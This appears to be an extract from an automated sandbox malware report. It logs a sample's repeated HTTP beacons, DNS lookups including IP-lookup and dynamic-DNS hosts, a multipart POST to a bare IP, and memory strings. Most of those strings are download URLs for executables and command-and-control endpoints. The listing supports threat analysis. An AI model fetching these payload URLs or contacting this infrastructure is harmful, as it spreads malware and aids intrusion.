Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1Host: ddudzob.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1Host: ddudzob.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1Host: ddudzob.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1Host: ddudzob.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1Host: ddudzob.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1Host: ddudzob.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1Host: ddudzob.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1Host: ddudzob.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1Host: ddudzob.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1Host: ddudzob.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1Host: ddudzob.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1Host: ddudzob.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1Host: ddudzob.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1Host: ddudzob.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1Host: ddudzob.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1Host: ddudzob.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1Host: ddudzob.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1Host: ddudzob.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1Host: ddudzob.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1Host: ddudzob.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1Host: ddudzob.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1Host: ddudzob.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1Host: ddudzob.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1Host: ddudzob.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1Host: ddudzob.infoUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)

Source: global traffic	DNS traffic detected: DNS query: api64.ipify.org
Source: global traffic	DNS traffic detected: DNS query: ipinfo.io
Source: global traffic	DNS traffic detected: DNS query: time.windows.com
Source: global traffic	DNS traffic detected: DNS query: 240902180529931.tyr.zont16.com
Source: global traffic	DNS traffic detected: DNS query: bitbucket.org
Source: global traffic	DNS traffic detected: DNS query: innovaxingenieros.com
Source: global traffic	DNS traffic detected: DNS query: bbuseruploads.s3.amazonaws.com
Source: global traffic	DNS traffic detected: DNS query: iplogger.org
Source: global traffic	DNS traffic detected: DNS query: t.me
Source: global traffic	DNS traffic detected: DNS query: ddudzob.info
Source: global traffic	DNS traffic detected: DNS query: gacan.zapto.org
Source: global traffic	DNS traffic detected: DNS query: DfaHzNEFWflnBHLCTDHez.DfaHzNEFWflnBHLCTDHez

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HCFBFBAEBKJKEBGCAEHCUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 91.107.146.245Content-Length: 256Connection: Keep-AliveCache-Control: no-cache

Source: RegAsm.exe, 00000007.00000002.1552191367.0000000004365000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.1542688126.000000000103E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.1542688126.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://103.130.147.211/Files/1.exe
Source: RegAsm.exe, 00000007.00000002.1542688126.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://103.130.147.211/Files/1.exe35/ty
Source: RegAsm.exe, 00000007.00000002.1542688126.000000000103E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://103.130.147.211/Files/1.exeC:
Source: RegAsm.exe, 00000007.00000002.1542688126.000000000103E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://103.130.147.211/Files/1.exeI
Source: RegAsm.exe, 00000007.00000002.1542688126.000000000103E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://103.130.147.211/Files/1.exeu
Source: RegAsm.exe, 00000007.00000002.1542688126.000000000103E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.1542688126.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/lopsa/66ea645129e6a_jacobs.exe
Source: RegAsm.exe, 00000007.00000002.1542688126.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/lopsa/66ea645129e6a_jacobs.exe1.exex
Source: RegAsm.exe, 00000007.00000002.1542688126.000000000103E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/lopsa/66ea645129e6a_jacobs.exeC:
Source: RegAsm.exe, 00000007.00000002.1542688126.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/lopsa/66ea645129e6a_jacobs.exeE
Source: RegAsm.exe, 00000007.00000002.1542688126.000000000103E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/lopsa/66ea645129e6a_jacobs.exeeH(
Source: RegAsm.exe, 00000007.00000002.1542688126.000000000103E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.1542688126.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66e705d09b33c_jack.exe
Source: RegAsm.exe, 00000007.00000002.1542688126.000000000103E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66e705d09b33c_jack.exeC:
Source: RegAsm.exe, 00000007.00000002.1542688126.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66e705d09b33c_jack.exee
Source: RegAsm.exe, 00000007.00000002.1542688126.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66e705d09b33c_jack.exeq
Source: RegAsm.exe, 00000007.00000002.1542688126.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66e705d09b33c_jack.exes
Source: RegAsm.exe, 00000007.00000002.1552191367.0000000004308000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.1552191367.000000000433D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.1542688126.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/revada/66e86c030044f_UniversityGradually.exe#sun
Source: RegAsm.exe, 00000007.00000002.1542688126.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/revada/66e86c030044f_UniversityGradually.exe#sun6er
Source: RegAsm.exe, 00000007.00000002.1542688126.000000000103E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/revada/66e86c030044f_UniversityGradually.exe#sunC:
Source: RegAsm.exe, 00000007.00000002.1542688126.000000000103E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.1542688126.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/revada/66e98ff1d44e2_crypted.exe
Source: RegAsm.exe, 00000007.00000002.1542688126.000000000103E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/revada/66e98ff1d44e2_crypted.exe()
Source: RegAsm.exe, 00000007.00000002.1542688126.000000000103E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/revada/66e98ff1d44e2_crypted.exeC:
Source: RegAsm.exe, 00000007.00000002.1542688126.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/revada/66e98ff1d44e2_crypted.exeexe
Source: RegAsm.exe, 00000007.00000002.1542688126.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/revada/66e98ff1d44e2_crypted.exejU
Source: RegAsm.exe, 00000007.00000002.1542688126.000000000103E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.1552191367.00000000042F6000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.1542688126.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66e9b62daa62d_xin.exe
Source: RegAsm.exe, 00000007.00000002.1552191367.00000000042F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66e9b62daa62d_xin.exe5
Source: RegAsm.exe, 00000007.00000002.1542688126.000000000103E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66e9b62daa62d_xin.exeC:
Source: RegAsm.exe, 00000007.00000002.1542688126.000000000103E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.1552191367.0000000004308000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.1542688126.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.33/search/gefox.exe
Source: RegAsm.exe, 00000007.00000002.1542688126.000000000103E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.33/search/gefox.exeC:
Source: RegAsm.exe, 00000007.00000002.1542688126.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://240902180529931.tyr.zont16.com/f/fikbam0902931.exe
Source: RegAsm.exe, 00000007.00000002.1542688126.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://240902180529931.tyr.zont16.com/f/fikbam0902931.exe.exe
Source: RegAsm.exe, 00000007.00000002.1542688126.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://240902180529931.tyr.zont16.com/f/fikbam0902931.exe:
Source: RegAsm.exe, 00000007.00000002.1542688126.000000000103E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://240902180529931.tyr.zont16.com/f/fikbam0902931.exeC:
Source: RegAsm.exe, 00000007.00000002.1542688126.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://240902180529931.tyr.zont16.com/f/fikbam0902931.exeF
Source: RegAsm.exe, 00000007.00000002.1552191367.0000000004365000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.1542688126.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.91.200.135/
Source: RegAsm.exe, 00000007.00000002.1542688126.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.91.200.135/X
Source: RegAsm.exe, 00000007.00000002.1552191367.0000000004365000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.91.200.135/aliv
Source: RegAsm.exe, 00000007.00000002.1542688126.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.91.200.135/api/wp-admin.php
Source: RegAsm.exe, 00000007.00000002.1542688126.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.91.200.135/api/wp-admin.phpr
Source: RegAsm.exe, 00000007.00000002.1552191367.0000000004365000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.91.200.135/api/wp-admin.phprNo
Source: RegAsm.exe, 00000007.00000002.1552191367.000000000433D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.91.200.135/api/wp-admin.phprj3
Source: RegAsm.exe, 00000007.00000002.1542688126.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.1542688126.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.91.200.135/api/wp-ping.php
Source: RegAsm.exe, 00000007.00000002.1542688126.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.91.200.135/l
Source: RegAsm.exe, 00000007.00000002.1542688126.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.1552191367.0000000004376000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.1542688126.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.91.200.135:80/api/wp-admin.php
Source: RegAsm.exe, 00000007.00000002.1542688126.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.91.200.135:80/api/wp-ping.php
Source: jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000000.1494808088.00000000004D2000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: http://aka.ms/msal-net-iwa
Source: jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000000.1494808088.00000000004D2000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: http://aka.ms/valid-authorities
Source: RegAsm.exe, 0000002B.00000002.2489734828.000000002280E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: RegAsm.exe, 0000002B.00000002.2489734828.000000002280E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: RegAsm.exe, 0000002B.00000002.2489734828.000000002280E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: RegAsm.exe, 0000002B.00000002.2489734828.000000002280E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: RegAsm.exe, 0000002B.00000002.2489734828.000000002280E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.2245373861.0000027C77A70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z
Source: EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.2245373861.0000027C77A70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0
Source: RegAsm.exe, 0000002B.00000002.2489734828.000000002280E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: RegAsm.exe, 0000002B.00000002.2489734828.000000002280E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: RegAsm.exe, 0000002B.00000002.2489734828.000000002280E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: RegAsm.exe, 0000002B.00000002.2489734828.000000002280E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: RegAsm.exe, 0000002B.00000002.2489734828.000000002280E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: RegAsm.exe, 0000002B.00000002.2489734828.000000002280E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: RegAsm.exe, 0000002B.00000002.2489734828.000000002280E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: RegAsm.exe, 0000002B.00000002.2489734828.000000002280E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: RegAsm.exe, 0000002B.00000002.2489734828.000000002280E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.2245373861.0000027C77A70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#
Source: EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.2245373861.0000027C77A70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#
Source: jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000000.1494808088.00000000004D2000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000000.1494808088.00000000004D2000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: dFpuQ1Q9a79sUJWPwukBnd_d.exe, 0000000B.00000002.1710440132.0000000003B65000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://gacan.zapto.org_DEBUG.zip/c
Source: oLvXEE2e9pIf4hDzNZ63ennK.exe, 00000010.00000002.1564921383.00000000012B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://go.microsoft.c
Source: jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000000.1494808088.00000000004D2000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: http://james.newtonking.com/projects/json
Source: yKAghydJJ_QMtGbXeHXJyp3j.exe, 00000012.00000002.1537461312.0000000000408000.00000002.00000001.01000000.0000000D.sdmp, yKAghydJJ_QMtGbXeHXJyp3j.exe, 00000012.00000000.1494806366.0000000000408000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: RegAsm.exe, 0000002B.00000002.2489734828.000000002280E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: RegAsm.exe, 0000002B.00000002.2489734828.000000002280E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: RegAsm.exe, 0000002B.00000002.2489734828.000000002280E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: RegAsm.exe, 0000002B.00000002.2489734828.000000002280E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0N
Source: RegAsm.exe, 0000002B.00000002.2489734828.000000002280E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.2245373861.0000027C77A70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000000.1494808088.00000000004D2000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/http
Source: jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000000.1494808088.00000000004D2000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policy
Source: jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000000.1494808088.00000000004D2000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issueshttp://schemas.xmlsoap.org/ws/2005/05/identity/NoP
Source: jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000000.1494808088.00000000004D2000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/soap12/shttp://docs.oasis-open.org/ws-sx/ws-securitypolicy/200702iht
Source: svchost.exe, 00000004.00000002.2766256218.0000019666087000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://standards.iso.org/iso/19770/-2/2009/schema.xsd
Source: RegAsm.exe, 0000002B.00000002.2489734828.000000002280E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: sTd4WXsFge4OZIqww_UHT8nz.exe, 00000013.00000003.1499920193.0000000002230000.00000004.00001000.00020000.00000000.sdmp, sTd4WXsFge4OZIqww_UHT8nz.exe, 00000013.00000003.1525950087.0000000001FE8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.innosetup.com/
Source: sTd4WXsFge4OZIqww_UHT8nz.exe, sTd4WXsFge4OZIqww_UHT8nz.exe, 00000013.00000002.2764281253.0000000000401000.00000020.00000001.01000000.00000010.sdmp	String found in binary or memory: http://www.jrsoftware.org/ishelp/index.php?topic=setupcmdline
